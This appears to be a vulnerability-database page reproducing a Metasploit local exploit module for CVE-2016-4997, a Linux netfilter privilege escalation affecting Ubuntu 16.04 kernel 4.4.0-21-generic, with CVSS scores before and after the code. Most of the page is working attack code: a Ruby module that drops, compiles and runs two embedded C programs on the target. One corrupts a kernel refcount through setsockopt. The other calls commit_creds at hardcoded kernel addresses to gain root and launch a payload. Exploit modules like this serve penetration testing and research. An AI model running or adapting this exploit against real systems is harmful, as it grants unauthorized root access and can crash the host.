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metasploitH00die <[email protected]>, vnik, Jesse Hertz, Tim NewshamMSF:EXPLOIT-LINUX-LOCAL-NETFILTER_PRIV_ESC_IPV4-
HistoryNov 18, 2016 - 6:52 p.m.

Linux Kernel 4.6.3 Netfilter Privilege Escalation

2016-11-1818:52:09
h00die <[email protected]>, vnik, Jesse Hertz, Tim Newsham
www.rapid7.com
56

7.2 High

CVSS2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.0004 Low

EPSS

Percentile

10.5%

This module attempts to exploit a netfilter bug on Linux Kernels before 4.6.3, and currently only works against Ubuntu 16.04 (not 16.04.1) with kernel 4.4.0-21-generic. Several conditions have to be met for successful exploitation: Ubuntu: 1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such) 2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile Kernel 4.4.0-31-generic and newer are not vulnerable. This exploit does not bypass SMEP/SMAP. We write the ascii files and compile on target instead of locally since metasm bombs for not having cdefs.h (even if locally installed)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
        'Name'           => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation',
        'Description'    => %q{
          This module attempts to exploit a netfilter bug on Linux Kernels before 4.6.3, and currently
          only works against Ubuntu 16.04 (not 16.04.1) with kernel 4.4.0-21-generic.

          Several conditions have to be met for successful exploitation:
          Ubuntu:
          1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such)
          2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile
          Kernel 4.4.0-31-generic and newer are not vulnerable. This exploit does not bypass SMEP/SMAP.

          We write the ascii files and compile on target instead of locally since metasm bombs for not
          having cdefs.h (even if locally installed)
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'h00die <[email protected]>', # Module
            'vnik',        # Exploit
            'Jesse Hertz', # Discovery
            'Tim Newsham'  # Discovery
          ],
        'DisclosureDate' => '2016-06-03',
        'Platform'       => [ 'linux'],
        'Arch'           => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes'   => [ 'shell', 'meterpreter' ],
        'Targets'        =>
          [
            [ 'Ubuntu', { } ]
            #[ 'Fedora', { } ]
          ],
        'References'     =>
          [
            ['EDB', '40049'],
            ['CVE', '2016-4997'],
            ['CVE', '2016-4998'],
            ['URL', 'https://www.openwall.com/lists/oss-security/2016/06/24/5'],
            ['URL', 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c'],
            ['URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6e94e0cfb0887e4013b3b930fa6ab1fe6bb6ba91']
          ],
        'Notes'          =>
          {
            'Reliability' => [ UNRELIABLE_SESSION ],
            'Stability'   => [ CRASH_OS_DOWN ],
          },
        'DefaultTarget'  => 0))
    register_options [
      OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]),
      OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]),
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def check
    def iptables_loaded?()
      # user@ubuntu:~$ grep ip_tables /proc/modules
      # ip_tables 28672 1 iptable_filter, Live 0x0000000000000000
      # x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000
      vprint_status('Checking if ip_tables is loaded in kernel')
      if target.name == "Ubuntu"
        iptables = read_file('/proc/modules').to_s
        if iptables.include?('ip_tables')
          vprint_good('ip_tables.ko is loaded')
        else
          print_error('ip_tables.ko is not loaded.  root needs to run iptables -L or similar command')
        end
        return iptables.include?('ip_tables')
      elsif target.name == "Fedora"
        iptables = read_file('/proc/modules').to_s
        if iptables.include?('iptable_raw')
          vprint_good('iptable_raw is loaded')
        else
          print_error('iptable_raw is not loaded.  root needs to run iptables -L or similar command')
        end
        return iptables.include?('iptable_raw')
      else
        return false
      end
    end

    return CheckCode::Safe unless iptables_loaded?

    if smep_enabled?
      print_error('SMEP enabled, system not vulnerable.')
      return CheckCode::Safe
    end
    vprint_good('SMEP is not enabled')

    if smap_enabled?
      print_error('SMAP enabled, system not vulnerable.')
      return CheckCode::Safe
    end
    vprint_good('SMAP is not enabled')

    unless userns_enabled?
      vprint_error('Unprivileged user namespaces are not permitted')
      return CheckCode::Safe
    end
    vprint_good('Unprivileged user namespaces are permitted')

    CheckCode::Appears
  end

  def exploit
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version.
    def has_prereqs?()
      vprint_status('Checking if 32bit C libraries, gcc-multilib, and gcc are installed')
      if target.name == "Ubuntu"
        lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
        if lib.include?('install')
          vprint_good('libc6-dev-i386 is installed')
        else
          print_error('libc6-dev-i386 is not installed.  Compiling will fail.')
        end
        multilib = cmd_exec('dpkg --get-selections | grep ^gcc-multilib')
        if multilib.include?('install')
          vprint_good('gcc-multilib is installed')
        else
          print_error('gcc-multilib is not installed.  Compiling will fail.')
        end
        gcc = cmd_exec('which gcc')
        if gcc.include?('gcc')
          vprint_good('gcc is installed')
        else
          print_error('gcc is not installed.  Compiling will fail.')
        end
        return gcc.include?('gcc') && lib.include?('install') && multilib.include?('install')
      elsif target.name == "Fedora"
        lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'')
        if lib.include?('glibc')
          vprint_good('glibc-devel.i686 is installed')
        else
          print_error('glibc-devel.i686 is not installed.  Compiling will fail.')
        end
        if lib.include?('libgcc')
          vprint_good('libgcc.i686 is installed')
        else
          print_error('libgcc.i686 is not installed.  Compiling will fail.')
        end
        multilib = false #not implemented
        gcc = false #not implemented
        return (lib.include?('glibc') && lib.include?('libgcc')) && gcc && multilib
      else
        return false
      end
    end

    compile = false
    if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
      if has_prereqs?()
        compile = true
        vprint_status('Live compiling exploit on system')
      else
        vprint_status('Dropping pre-compiled exploit on system')
      end
    end

    desc_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
    env_ready_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
    pwn_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
    payload_file = rand_text_alpha(8)
    payload_path = "#{datastore["WritableDir"]}/#{payload_file}"

    # direct copy of code from exploit-db, except removed the check for smep/smap and ip_tables.ko since we can do that in the check area here
    # removed         #include <netinet/in.h> per busterb comment in PR 7326
    decr = %q{
      #define _GNU_SOURCE
      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      #include <unistd.h>
      #include <sched.h>
      #include <netinet/in.h>
      #include <linux/sched.h>
      #include <errno.h>
      #include <sys/types.h>
      #include <sys/socket.h>
      #include <sys/ptrace.h>
      #include <net/if.h>
      #include <linux/netfilter_ipv4/ip_tables.h>
      #include <linux/netlink.h>
      #include <fcntl.h>
      #include <sys/mman.h>

      #define MALLOC_SIZE 66*1024

      int decr(void *p) {
          int sock, optlen;
          int ret;
          void *data;
          struct ipt_replace *repl;
          struct ipt_entry *entry;
          struct xt_entry_match *ematch;
          struct xt_standard_target *target;
          unsigned i;

          sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);

          if (sock == -1) {
                  perror("socket");
                  return -1;
          }

          data = malloc(MALLOC_SIZE);

          if (data == NULL) {
              perror("malloc");
              return -1;
          }

          memset(data, 0, MALLOC_SIZE);

          repl = (struct ipt_replace *) data;
          repl->num_entries = 1;
          repl->num_counters = 1;
          repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
          repl->valid_hooks = 0;

          entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
          entry->target_offset = 74; // overwrite target_offset
          entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);

          ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));

          strcpy(ematch->u.user.name, "icmp");
          void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
          uint64_t *me = (uint64_t *)(kmatch + 0x58);
          *me = 0xffffffff821de10d; // magic number!

          uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
          *match = (uint32_t)kmatch;

          ematch->u.match_size = (short)0xffff;

          target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
          uint32_t *t = (uint32_t *)target;
          *t = (uint32_t)kmatch;

          printf("[!] Decrementing the refcount. This may take a while...\n");
          printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");

          for (i = 0; i < 0xffffff/2+1; i++) {
              ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);
          }

          close(sock);
          free(data);
          printf("[+] Done! Now run ./pwn\n");

          return 0;
      }

      int main(void) {
          void *stack;
          int ret;

          printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");

          ret = unshare(CLONE_NEWUSER);

          if (ret == -1) {
              perror("unshare");
              return -1;
          }

          stack = (void *) malloc(65536);

          if (stack == NULL) {
              perror("malloc");
              return -1;
          }

          clone(decr, stack + 65536, CLONE_NEWNET, NULL);

          sleep(1);

          return 0;
      }
    }

    # direct copy of code from exploit-db
    pwn = %q{
      #include <stdio.h>
      #include <string.h>
      #include <errno.h>
      #include <unistd.h>
      #include <stdint.h>
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <assert.h>

      #define MMAP_ADDR 0xff814e3000
      #define MMAP_OFFSET 0xb0

      typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
      typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);

      void __attribute__((regparm(3))) privesc() {
          commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
          prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;
          commit_creds(prepare_kernel_cred((uint64_t)NULL));
      }

      int main() {
          void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
          assert(payload == (void *)MMAP_ADDR);

          void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);

          memset(shellcode, 0, 0x300000);

          void *ret = memcpy(shellcode, &privesc, 0x300);
          assert(ret == shellcode);

          printf("[+] Escalating privs...\n");

          int fd = open("/dev/ptmx", O_RDWR);
          close(fd);

          assert(!getuid());

          printf("[+] We've got root!");

          return execl("/bin/bash", "-sh", NULL);
      }
    }

    # the original code printed a line.  However, this is hard to detect due to threading.
    # so instead we can write a file in /tmp to catch.
    decr.gsub!(/printf\("\[\+\] Done\! Now run \.\/pwn\\n"\);/,
               "int fd2 = open(\"#{env_ready_file}\", O_RDWR|O_CREAT, 0777);close(fd2);" )

    # patch in to run our payload
    pwn.gsub!(/execl\("\/bin\/bash", "-sh", NULL\);/,
               "execl(\"#{payload_path}\", NULL);")

    def pwn(payload_path, pwn_file, pwn, compile)
      # lets write our payload since everythings set for priv esc
      vprint_status("Writing payload to #{payload_path}")
      write_file(payload_path, generate_payload_exe)
      cmd_exec("chmod 555 #{payload_path}")
      register_file_for_cleanup(payload_path)

      # now lets drop part 2, and finish up.
      rm_f pwn_file
      if compile
        print_status "Writing pwn executable to #{pwn_file}.c"
        rm_f "#{pwn_file}.c"
        write_file("#{pwn_file}.c", pwn)
        cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}")
        register_file_for_cleanup("#{pwn_file}.c")
      else
        print_status "Writing pwn executable to #{pwn_file}"
        write_file(pwn_file, pwn)
      end
      register_file_for_cleanup(pwn_file)
      cmd_exec("chmod +x #{pwn_file}; #{pwn_file}")
    end

    if not compile # we need to override with our pre-created binary
      # pwn file
      path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-pwn.out')
      fd = ::File.open( path, "rb")
      pwn = fd.read(fd.stat.size)
      fd.close
      # desc file
      path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-decr.out')
      fd = ::File.open( path, "rb")
      decr = fd.read(fd.stat.size)
      fd.close

      # overwrite the hardcoded variable names in the compiled versions
      env_ready_file = '/tmp/okDjTFSS'
      payload_path = '/tmp/2016_4997_payload'
    end

    # check for shortcut
    if datastore['REEXPLOIT']
      pwn(payload_path, pwn_file, pwn, compile)
    else
      rm_f desc_file
      if compile
        print_status "Writing desc executable to #{desc_file}.c"
        rm_f "#{desc_file}.c"
        write_file("#{desc_file}.c", decr)
        register_file_for_cleanup("#{desc_file}.c")
        output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}")
      else
        write_file(desc_file, decr)
      end
      rm_f env_ready_file
      register_file_for_cleanup(env_ready_file)
      #register_file_for_cleanup(desc_file)
      if not file_exist?(desc_file)
        vprint_error("gcc failure output: #{output}")
        fail_with(Failure::Unknown, "#{desc_file}.c failed to compile")
      end
      if target.name == "Ubuntu"
        vprint_status "Executing #{desc_file}, may take around 35s to finish.  Watching for #{env_ready_file} to be created."
      elsif target.name == "Fedora"
        vprint_status "Executing #{desc_file}, may take around 80s to finish.  Watching for #{env_ready_file} to be created."
      end
      cmd_exec("chmod +x #{desc_file}; #{desc_file}")
      sec_waited = 0

      until sec_waited > datastore['MAXWAIT'] do
        Rex.sleep(1)
        if sec_waited % 10 == 0
          vprint_status("Waited #{sec_waited}s so far")
        end

        if file_exist?(env_ready_file)
          print_good("desc finished, env ready.")
          pwn(payload_path, pwn_file, pwn, compile)
          return
        end
        sec_waited +=1
      end
    end
  end
end

7.2 High

CVSS2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.0004 Low

EPSS

Percentile

10.5%